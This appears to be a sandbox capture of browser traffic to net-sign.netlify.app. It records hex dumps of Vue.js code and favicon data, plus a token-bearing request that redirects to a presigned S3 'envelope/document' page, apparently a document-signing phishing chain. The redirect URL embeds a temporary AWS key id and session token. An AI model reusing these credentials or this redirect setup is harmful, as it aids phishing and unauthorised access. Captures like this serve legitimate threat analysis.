2025-02-06 21:52:32 UTC	538	IN	Data Raw: 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 2a 20 40 6c 69 63 65 6e 73 65 20 4d 49 54 0a 2a 2a 2f 6c 65 74 20 6f 65 3b 63 6c 61 73 73 20 46 72 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 74 3d 21 31 29 7b 74 68 69 73 2e 64 65 74 61 63 68 65 64 3d 74 2c 74 68 69 73 2e 5f 61 63 74 69 76 65 3d 21 30 2c 74 68 69 73 2e 65 66 66 65 63 74 73 3d 5b 5d 2c 74 68 69 73 2e 63 6c 65 61 6e 75 70 73 3d 5b 5d 2c 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 3d 21 31 2c 74 68 69 73 2e 70 61 72 65 6e 74 3d 6f 65 2c 21 74 26 26 6f 65 26 26 28 74 68 69 73 2e 69 6e 64 65 78 3d 28 6f 65 2e 73 63 6f 70 65 73 7c 7c 28 6f 65 2e 73 63 6f 70 65 73 3d 5b 5d 29 29 2e 70 75 73 68 28 74 68 69 73 29 2d 31 29 7d 67 65 74 20 61 63 74 69 76 65 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 61 63 74 69 Data Ascii: contributors* @license MIT**/let oe;class Fr{constructor(t=!1){this.detached=t,this._active=!0,this.effects=[],this.cleanups=[],this._isPaused=!1,this.parent=oe,!t&&oe&&(this.index=(oe.scopes\|\|(oe.scopes=[])).push(this)-1)}get active(){return this._acti
2025-02-06 21:52:32 UTC	4744	IN	Data Raw: 6e 3d 74 68 69 73 2e 73 63 6f 70 65 73 2e 6c 65 6e 67 74 68 3b 74 3c 6e 3b 74 2b 2b 29 74 68 69 73 2e 73 63 6f 70 65 73 5b 74 5d 2e 72 65 73 75 6d 65 28 29 3b 66 6f 72 28 74 3d 30 2c 6e 3d 74 68 69 73 2e 65 66 66 65 63 74 73 2e 6c 65 6e 67 74 68 3b 74 3c 6e 3b 74 2b 2b 29 74 68 69 73 2e 65 66 66 65 63 74 73 5b 74 5d 2e 72 65 73 75 6d 65 28 29 7d 7d 72 75 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 61 63 74 69 76 65 29 7b 63 6f 6e 73 74 20 6e 3d 6f 65 3b 74 72 79 7b 72 65 74 75 72 6e 20 6f 65 3d 74 68 69 73 2c 74 28 29 7d 66 69 6e 61 6c 6c 79 7b 6f 65 3d 6e 7d 7d 7d 6f 6e 28 29 7b 6f 65 3d 74 68 69 73 7d 6f 66 66 28 29 7b 6f 65 3d 74 68 69 73 2e 70 61 72 65 6e 74 7d 73 74 6f 70 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 61 63 74 69 76 65 29 7b 74 68 69 73 2e 5f Data Ascii: n=this.scopes.length;t<n;t++)this.scopes[t].resume();for(t=0,n=this.effects.length;t<n;t++)this.effects[t].resume()}}run(t){if(this._active){const n=oe;try{return oe=this,t()}finally{oe=n}}}on(){oe=this}off(){oe=this.parent}stop(t){if(this._active){this._
2025-02-06 21:52:32 UTC	5930	IN	Data Raw: 69 67 67 65 72 28 29 7d 3b 69 66 28 54 6e 28 29 2c 74 3d 3d 3d 22 63 6c 65 61 72 22 29 6f 2e 66 6f 72 45 61 63 68 28 66 29 3b 65 6c 73 65 7b 63 6f 6e 73 74 20 75 3d 50 28 65 29 2c 68 3d 75 26 26 76 6e 28 6e 29 3b 69 66 28 75 26 26 6e 3d 3d 3d 22 6c 65 6e 67 74 68 22 29 7b 63 6f 6e 73 74 20 61 3d 4e 75 6d 62 65 72 28 73 29 3b 6f 2e 66 6f 72 45 61 63 68 28 28 70 2c 53 29 3d 3e 7b 28 53 3d 3d 3d 22 6c 65 6e 67 74 68 22 7c 7c 53 3d 3d 3d 67 74 7c 7c 21 51 65 28 53 29 26 26 53 3e 3d 61 29 26 26 66 28 70 29 7d 29 7d 65 6c 73 65 20 73 77 69 74 63 68 28 28 6e 21 3d 3d 76 6f 69 64 20 30 7c 7c 6f 2e 68 61 73 28 76 6f 69 64 20 30 29 29 26 26 66 28 6f 2e 67 65 74 28 6e 29 29 2c 68 26 26 66 28 6f 2e 67 65 74 28 67 74 29 29 2c 74 29 7b 63 61 73 65 22 61 64 64 22 3a 75 Data Ascii: igger()};if(Tn(),t==="clear")o.forEach(f);else{const u=P(e),h=u&&vn(n);if(u&&n==="length"){const a=Number(s);o.forEach((p,S)=>{(S==="length"\|\|S===gt\|\|!Qe(S)&&S>=a)&&f(p)})}else switch((n!==void 0\|\|o.has(void 0))&&f(o.get(n)),h&&f(o.get(gt)),t){case"add":u
2025-02-06 21:52:32 UTC	7116	IN	Data Raw: 65 22 2c 72 2c 76 6f 69 64 20 30 29 2c 68 7d 2c 63 6c 65 61 72 28 29 7b 63 6f 6e 73 74 20 72 3d 6a 28 74 68 69 73 29 2c 69 3d 72 2e 73 69 7a 65 21 3d 3d 30 2c 6f 3d 72 2e 63 6c 65 61 72 28 29 3b 72 65 74 75 72 6e 20 69 26 26 43 65 28 72 2c 22 63 6c 65 61 72 22 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 29 2c 6f 7d 7d 29 2c 5b 22 6b 65 79 73 22 2c 22 76 61 6c 75 65 73 22 2c 22 65 6e 74 72 69 65 73 22 2c 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 2e 66 6f 72 45 61 63 68 28 72 3d 3e 7b 6e 5b 72 5d 3d 71 72 28 72 2c 65 2c 74 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 41 6e 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 47 72 28 65 2c 74 29 3b 72 65 74 75 72 6e 28 73 2c 72 2c 69 29 3d 3e 72 3d 3d 3d 22 5f 5f 76 5f 69 73 52 65 61 63 74 69 76 65 22 3f 21 65 3a Data Ascii: e",r,void 0),h},clear(){const r=j(this),i=r.size!==0,o=r.clear();return i&&Ce(r,"clear",void 0,void 0),o}}),["keys","values","entries",Symbol.iterator].forEach(r=>{n[r]=qr(r,e,t)}),n}function An(e,t){const n=Gr(e,t);return(s,r,i)=>r==="__v_isReactive"?!e:
2025-02-06 21:52:32 UTC	8302	IN	Data Raw: 5d 29 3b 65 6c 73 65 7b 63 6f 6e 73 74 20 46 3d 4a 28 75 29 2c 49 3d 65 65 28 75 29 3b 69 66 28 46 7c 7c 49 29 7b 63 6f 6e 73 74 20 59 3d 28 29 3d 3e 7b 69 66 28 65 2e 66 29 7b 63 6f 6e 73 74 20 4e 3d 46 3f 54 28 75 29 3f 70 5b 75 5d 3a 61 5b 75 5d 3a 75 2e 76 61 6c 75 65 3b 72 3f 50 28 4e 29 26 26 79 6e 28 4e 2c 69 29 3a 50 28 4e 29 3f 4e 2e 69 6e 63 6c 75 64 65 73 28 69 29 7c 7c 4e 2e 70 75 73 68 28 69 29 3a 46 3f 28 61 5b 75 5d 3d 5b 69 5d 2c 54 28 75 29 26 26 28 70 5b 75 5d 3d 61 5b 75 5d 29 29 3a 28 75 2e 76 61 6c 75 65 3d 5b 69 5d 2c 65 2e 6b 26 26 28 61 5b 65 2e 6b 5d 3d 75 2e 76 61 6c 75 65 29 29 7d 65 6c 73 65 20 46 3f 28 61 5b 75 5d 3d 6f 2c 54 28 75 29 26 26 28 70 5b 75 5d 3d 6f 29 29 3a 49 26 26 28 75 2e 76 61 6c 75 65 3d 6f 2c 65 2e 6b 26 26 Data Ascii: ]);else{const F=J(u),I=ee(u);if(F\|\|I){const Y=()=>{if(e.f){const N=F?T(u)?p[u]:a[u]:u.value;r?P(N)&&yn(N,i):P(N)?N.includes(i)\|\|N.push(i):F?(a[u]=[i],T(u)&&(p[u]=a[u])):(u.value=[i],e.k&&(a[e.k]=u.value))}else F?(a[u]=o,T(u)&&(p[u]=o)):I&&(u.value=o,e.k&&
2025-02-06 21:52:32 UTC	6149	IN	Data Raw: 67 6e 28 75 2c 66 2c 46 2c 54 2c 65 2c 21 31 29 7d 65 6c 73 65 20 54 21 3d 3d 69 5b 53 5d 26 26 28 69 5b 53 5d 3d 54 2c 68 3d 21 30 29 7d 7d 7d 65 6c 73 65 7b 6b 73 28 65 2c 74 2c 72 2c 69 29 26 26 28 68 3d 21 30 29 3b 6c 65 74 20 61 3b 66 6f 72 28 63 6f 6e 73 74 20 70 20 69 6e 20 66 29 28 21 74 7c 7c 21 44 28 74 2c 70 29 26 26 28 28 61 3d 57 65 28 70 29 29 3d 3d 3d 70 7c 7c 21 44 28 74 2c 61 29 29 29 26 26 28 75 3f 6e 26 26 28 6e 5b 70 5d 21 3d 3d 76 6f 69 64 20 30 7c 7c 6e 5b 61 5d 21 3d 3d 76 6f 69 64 20 30 29 26 26 28 72 5b 70 5d 3d 67 6e 28 75 2c 66 2c 70 2c 76 6f 69 64 20 30 2c 65 2c 21 30 29 29 3a 64 65 6c 65 74 65 20 72 5b 70 5d 29 3b 69 66 28 69 21 3d 3d 66 29 66 6f 72 28 63 6f 6e 73 74 20 70 20 69 6e 20 69 29 28 21 74 7c 7c 21 44 28 74 2c 70 29 Data Ascii: gn(u,f,F,T,e,!1)}else T!==i[S]&&(i[S]=T,h=!0)}}}else{ks(e,t,r,i)&&(h=!0);let a;for(const p in f)(!t\|\|!D(t,p)&&((a=We(p))===p\|\|!D(t,a)))&&(u?n&&(n[p]!==void 0\|\|n[a]!==void 0)&&(r[p]=gn(u,f,p,void 0,e,!0)):delete r[p]);if(i!==f)for(const p in i)(!t\|\|!D(t,p)
2025-02-06 21:52:32 UTC	10674	IN	Data Raw: 3a 4c 28 6c 2c 63 2c 64 2c 45 2c 67 2c 6d 2c 76 2c 79 2c 78 29 7d 2c 54 74 3d 28 6c 2c 63 2c 64 2c 5f 2c 67 2c 6d 2c 76 2c 79 2c 78 29 3d 3e 7b 63 2e 73 6c 6f 74 53 63 6f 70 65 49 64 73 3d 79 2c 6c 3d 3d 6e 75 6c 6c 3f 63 2e 73 68 61 70 65 46 6c 61 67 26 35 31 32 3f 67 2e 63 74 78 2e 61 63 74 69 76 61 74 65 28 63 2c 64 2c 5f 2c 76 2c 78 29 3a 4a 74 28 63 2c 64 2c 5f 2c 67 2c 6d 2c 76 2c 78 29 3a 4c 6e 28 6c 2c 63 2c 78 29 7d 2c 4a 74 3d 28 6c 2c 63 2c 64 2c 5f 2c 67 2c 6d 2c 76 29 3d 3e 7b 63 6f 6e 73 74 20 79 3d 6c 2e 63 6f 6d 70 6f 6e 65 6e 74 3d 68 6f 28 6c 2c 5f 2c 67 29 3b 69 66 28 57 73 28 6c 29 26 26 28 79 2e 63 74 78 2e 72 65 6e 64 65 72 65 72 3d 74 74 29 2c 70 6f 28 79 2c 21 31 2c 76 29 2c 79 2e 61 73 79 6e 63 44 65 70 29 7b 69 66 28 67 26 26 67 Data Ascii: :L(l,c,d,E,g,m,v,y,x)},Tt=(l,c,d,_,g,m,v,y,x)=>{c.slotScopeIds=y,l==null?c.shapeFlag&512?g.ctx.activate(c,d,_,v,x):Jt(c,d,_,g,m,v,x):Ln(l,c,x)},Jt=(l,c,d,_,g,m,v)=>{const y=l.component=ho(l,_,g);if(Ws(l)&&(y.ctx.renderer=tt),po(y,!1,v),y.asyncDep){if(g&&g
2025-02-06 21:52:32 UTC	11860	IN	Data Raw: 79 3d 3d 3d 74 2e 6b 65 79 7d 63 6f 6e 73 74 20 64 72 3d 28 7b 6b 65 79 3a 65 7d 29 3d 3e 65 3f 3f 6e 75 6c 6c 2c 4d 74 3d 28 7b 72 65 66 3a 65 2c 72 65 66 5f 6b 65 79 3a 74 2c 72 65 66 5f 66 6f 72 3a 6e 7d 29 3d 3e 28 74 79 70 65 6f 66 20 65 3d 3d 22 6e 75 6d 62 65 72 22 26 26 28 65 3d 22 22 2b 65 29 2c 65 21 3d 6e 75 6c 6c 3f 4a 28 65 29 7c 7c 65 65 28 65 29 7c 7c 52 28 65 29 3f 7b 69 3a 62 65 2c 72 3a 65 2c 6b 3a 74 2c 66 3a 21 21 6e 7d 3a 65 3a 6e 75 6c 6c 29 3b 66 75 6e 63 74 69 6f 6e 20 48 6e 28 65 2c 74 3d 6e 75 6c 6c 2c 6e 3d 6e 75 6c 6c 2c 73 3d 30 2c 72 3d 6e 75 6c 6c 2c 69 3d 65 3d 3d 3d 54 65 3f 30 3a 31 2c 6f 3d 21 31 2c 66 3d 21 31 29 7b 63 6f 6e 73 74 20 75 3d 7b 5f 5f 76 5f 69 73 56 4e 6f 64 65 3a 21 30 2c 5f 5f 76 5f 73 6b 69 70 3a 21 30 Data Ascii: y===t.key}const dr=({key:e})=>e??null,Mt=({ref:e,ref_key:t,ref_for:n})=>(typeof e=="number"&&(e=""+e),e!=null?J(e)\|\|ee(e)\|\|R(e)?{i:be,r:e,k:t,f:!!n}:e:null);function Hn(e,t=null,n=null,s=0,r=null,i=e===Te?0:1,o=!1,f=!1){const u={__v_isVNode:!0,__v_skip:!0

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:32 UTC	596	OUT	GET /favicon.ico HTTP/1.1 Host: net-sign.netlify.app Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://net-sign.netlify.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:32 UTC	435	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3297 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 4286 Content-Type: image/vnd.microsoft.icon Date: Thu, 06 Feb 2025 21:52:32 GMT Etag: "c07b73221f2d2030b0a90072d734fb9e-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JKEM05XAAJNQE6MRFRCPB839 Connection: close
2025-02-06 21:52:32 UTC	751	IN	Data Raw: 00 00 01 00 01 00 20 20 00 00 01 00 20 00 a8 10 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 83 b8 41 00 83 b8 41 00 83 Data Ascii: ( @ AA
2025-02-06 21:52:32 UTC	2372	IN	Data Raw: b8 41 00 83 b8 41 1a 83 b8 41 c9 83 b8 41 ff 83 b8 41 ff 83 b8 41 c9 83 b8 41 1a 83 b8 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 83 b8 41 00 83 b8 41 00 83 b8 41 7a 83 b8 41 fe 83 b8 41 ff 83 b8 41 ff 83 b8 41 fe 83 b8 41 7a 83 b8 41 00 83 b8 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 83 b8 41 00 83 b8 41 00 Data Ascii: AAAAAAAAAAAzAAAAAzAAAA
2025-02-06 21:52:32 UTC	538	IN	Data Raw: b8 41 00 83 b8 41 00 00 00 00 00 00 00 00 00 83 b8 41 00 83 b8 41 1b 83 b8 41 cc 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 70 7f 3b ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 fc 5f 4c 35 6e 5f 4c 35 6e 5e 49 35 fc 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 70 7f 3b ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 cc 83 b8 41 1b 83 b8 41 00 00 00 00 00 83 b8 41 00 83 b8 41 00 83 b8 41 7d 83 b8 41 fe 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b9 41 ff 7c a2 3f ff 62 54 36 ff 5e 48 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5f 4a 35 c1 61 50 36 13 61 50 36 13 5f 4a 35 c1 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 48 35 ff 62 54 36 ff 7c a2 3f ff 83 b9 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 fe Data Ascii: AAAAAAAAAAp;^I5^I5^I5^I5^I5_L5n_L5n^I5^I5^I5^I5^I5p;AAAAAAAAAAA}AAAAA\|?bT6^H5^I5^I5^I5_J5aP6aP6_J5^I5^I5^I5^H5bT6\|?AAAAA
2025-02-06 21:52:32 UTC	625	IN	Data Raw: ff 83 b8 41 ff 83 b9 41 ff 80 af 40 ff 67 64 38 ff 5e 48 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 4a 35 e5 60 4d 36 35 5f 4b 35 00 6a 66 39 00 6a 66 39 00 5f 4b 35 00 60 4d 36 35 5e 4a 35 e5 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 48 35 ff 67 64 38 ff 80 af 40 ff 83 b9 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 f0 83 b8 41 57 83 b8 41 9a 83 b8 41 c8 83 b8 41 c6 83 b8 41 c6 83 b8 41 c6 84 ba 41 c6 76 91 3d c6 5f 4b 35 c6 5e 49 35 c6 5e 49 35 c6 5e 49 35 c6 5e 49 35 c9 5f 4b 35 75 68 61 39 02 62 53 37 00 00 00 00 00 00 00 00 00 62 53 37 00 68 61 39 02 5f 4b 35 75 5e 49 35 c9 5e 49 35 c6 5e 49 35 c6 5e 49 35 c6 5f 4b 35 c6 76 91 3d c6 84 ba 41 c6 83 b8 41 c6 83 b8 41 c6 83 b8 41 c6 83 b8 41 c8 83 b8 41 9a 83 b8 41 0e 83 b8 41 0d 83 b8 41 0d 83 b8 Data Ascii: AA@gd8^H5^I5^I5^I5^J5`M65_K5jf9jf9_K5`M65^J5^I5^I5^I5^H5gd8@AAAAAAWAAAAAAv=_K5^I5^I5^I5^I5_K5uha9bS7bS7ha9_K5u^I5^I5^I5^I5_K5v=AAAAAAAAA

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:32 UTC	778	OUT	GET /?token=be5e0bbc-ef74-408e-813f-b9c0fed9111b==&expiration=300 HTTP/1.1 Host: ez9jkw1oy6.execute-api.eu-central-1.amazonaws.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://net-sign.netlify.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:32 UTC	1524	IN	HTTP/1.1 302 Found Date: Thu, 06 Feb 2025 21:52:32 GMT Content-Length: 0 Connection: close location: https://temp-redirect-pagess.s3.eu-central-1.amazonaws.com/api/envelope/document/content/be5e0bbc-ef74-408e-813f-b9c0fed9111b%3D%3D_20250206215232.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=ASIA5G2VGSII65CQYR67%2F20250206%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Date=20250206T215232Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEE0aDGV1LWNlbnRyYWwtMSJHMEUCIH%2BiUk65FkOAe86pXil%2FnPAPs1YkVFNHdUSoZyNCpgJmAiEA160qxTIKQIkPaYHrBEkkKLs3dNgkx%2F40FLgWwD3GFdEqgQMIZhAAGgw5MDgwMjc0MDA3MjEiDK1NqUL32DmOUmwv2ireAlY1mmUbFwJF5P2hiWS5k54jl%2FrtfONXdoO7cIK8GU6wxggDDRfOSFkb0iGh4ea2q%2FtqZHxfo5vKbLcItrXtzgiTb93efCDPDjoKOXPNCBWI6qBKk4P4dTPMgrLpv8YUyswQDiVJ6MzFoLrCQLoj%2BLmCSGsMOfAOpgPj62QYUmwif0mRQVZqqWBirS38r%2FJc4foz5UhTpXlkM%2B7tMZfORzszy%2BAmP%2Ftwxzx%2BYNBpkrKCZMBcD7JNYkzTyVTF1yCJG1eJaaM%2FjykUfP7VsXvhswNjWGX00OJpGsY3LjDw2PGr6X8IwFm4HwhLmUWTde7nPds85pzrXByptsGVBBAANDHGFtuyJ6bruhjwiL6lbQeAotcU1VZYGYbCk1OPYTknmEa19tVAstRcwKKpB2GrddypMtcEtVTnXyaOk9eNEhAsaqu2YTS6SUF38FmRe [TRUNCATED] access-control-allow-origin: * Apigw-Requestid: FlRNLgk8FiAEMcw=

Timestamp	Bytes transferred	Direction	Data
2025-02-06 21:52:33 UTC	355	OUT	GET /favicon.ico HTTP/1.1 Host: net-sign.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-06 21:52:33 UTC	436	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 14880 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 4286 Content-Type: image/vnd.microsoft.icon Date: Thu, 06 Feb 2025 21:52:33 GMT Etag: "c07b73221f2d2030b0a90072d734fb9e-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JKEM06VAH57SEFZXEF661NV0 Connection: close
2025-02-06 21:52:33 UTC	750	IN	Data Raw: 00 00 01 00 01 00 20 20 00 00 01 00 20 00 a8 10 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 83 b8 41 00 83 b8 41 00 83 Data Ascii: ( @ AA
2025-02-06 21:52:33 UTC	2372	IN	Data Raw: 83 b8 41 00 83 b8 41 1a 83 b8 41 c9 83 b8 41 ff 83 b8 41 ff 83 b8 41 c9 83 b8 41 1a 83 b8 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 83 b8 41 00 83 b8 41 00 83 b8 41 7a 83 b8 41 fe 83 b8 41 ff 83 b8 41 ff 83 b8 41 fe 83 b8 41 7a 83 b8 41 00 83 b8 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 83 b8 41 00 83 b8 41 Data Ascii: AAAAAAAAAAAzAAAAAzAAAA
2025-02-06 21:52:33 UTC	538	IN	Data Raw: 83 b8 41 00 83 b8 41 00 00 00 00 00 00 00 00 00 83 b8 41 00 83 b8 41 1b 83 b8 41 cc 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 70 7f 3b ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 fc 5f 4c 35 6e 5f 4c 35 6e 5e 49 35 fc 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 70 7f 3b ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 cc 83 b8 41 1b 83 b8 41 00 00 00 00 00 83 b8 41 00 83 b8 41 00 83 b8 41 7d 83 b8 41 fe 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b9 41 ff 7c a2 3f ff 62 54 36 ff 5e 48 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5f 4a 35 c1 61 50 36 13 61 50 36 13 5f 4a 35 c1 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 48 35 ff 62 54 36 ff 7c a2 3f ff 83 b9 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 Data Ascii: AAAAAAAAAAp;^I5^I5^I5^I5^I5_L5n_L5n^I5^I5^I5^I5^I5p;AAAAAAAAAAA}AAAAA\|?bT6^H5^I5^I5^I5_J5aP6aP6_J5^I5^I5^I5^H5bT6\|?AAAAA
2025-02-06 21:52:33 UTC	626	IN	Data Raw: 41 ff 83 b8 41 ff 83 b9 41 ff 80 af 40 ff 67 64 38 ff 5e 48 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 4a 35 e5 60 4d 36 35 5f 4b 35 00 6a 66 39 00 6a 66 39 00 5f 4b 35 00 60 4d 36 35 5e 4a 35 e5 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 48 35 ff 67 64 38 ff 80 af 40 ff 83 b9 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 ff 83 b8 41 f0 83 b8 41 57 83 b8 41 9a 83 b8 41 c8 83 b8 41 c6 83 b8 41 c6 83 b8 41 c6 84 ba 41 c6 76 91 3d c6 5f 4b 35 c6 5e 49 35 c6 5e 49 35 c6 5e 49 35 c6 5e 49 35 c9 5f 4b 35 75 68 61 39 02 62 53 37 00 00 00 00 00 00 00 00 00 62 53 37 00 68 61 39 02 5f 4b 35 75 5e 49 35 c9 5e 49 35 c6 5e 49 35 c6 5e 49 35 c6 5f 4b 35 c6 76 91 3d c6 84 ba 41 c6 83 b8 41 c6 83 b8 41 c6 83 b8 41 c6 83 b8 41 c8 83 b8 41 9a 83 b8 41 0e 83 b8 41 0d 83 b8 41 0d 83 Data Ascii: AAA@gd8^H5^I5^I5^I5^J5`M65_K5jf9jf9_K5`M65^J5^I5^I5^I5^H5gd8@AAAAAAWAAAAAAv=_K5^I5^I5^I5^I5_K5uha9bS7bS7ha9_K5u^I5^I5^I5^I5_K5v=AAAAAAAAA

Timestamp	Bytes transferred	Direction	Data
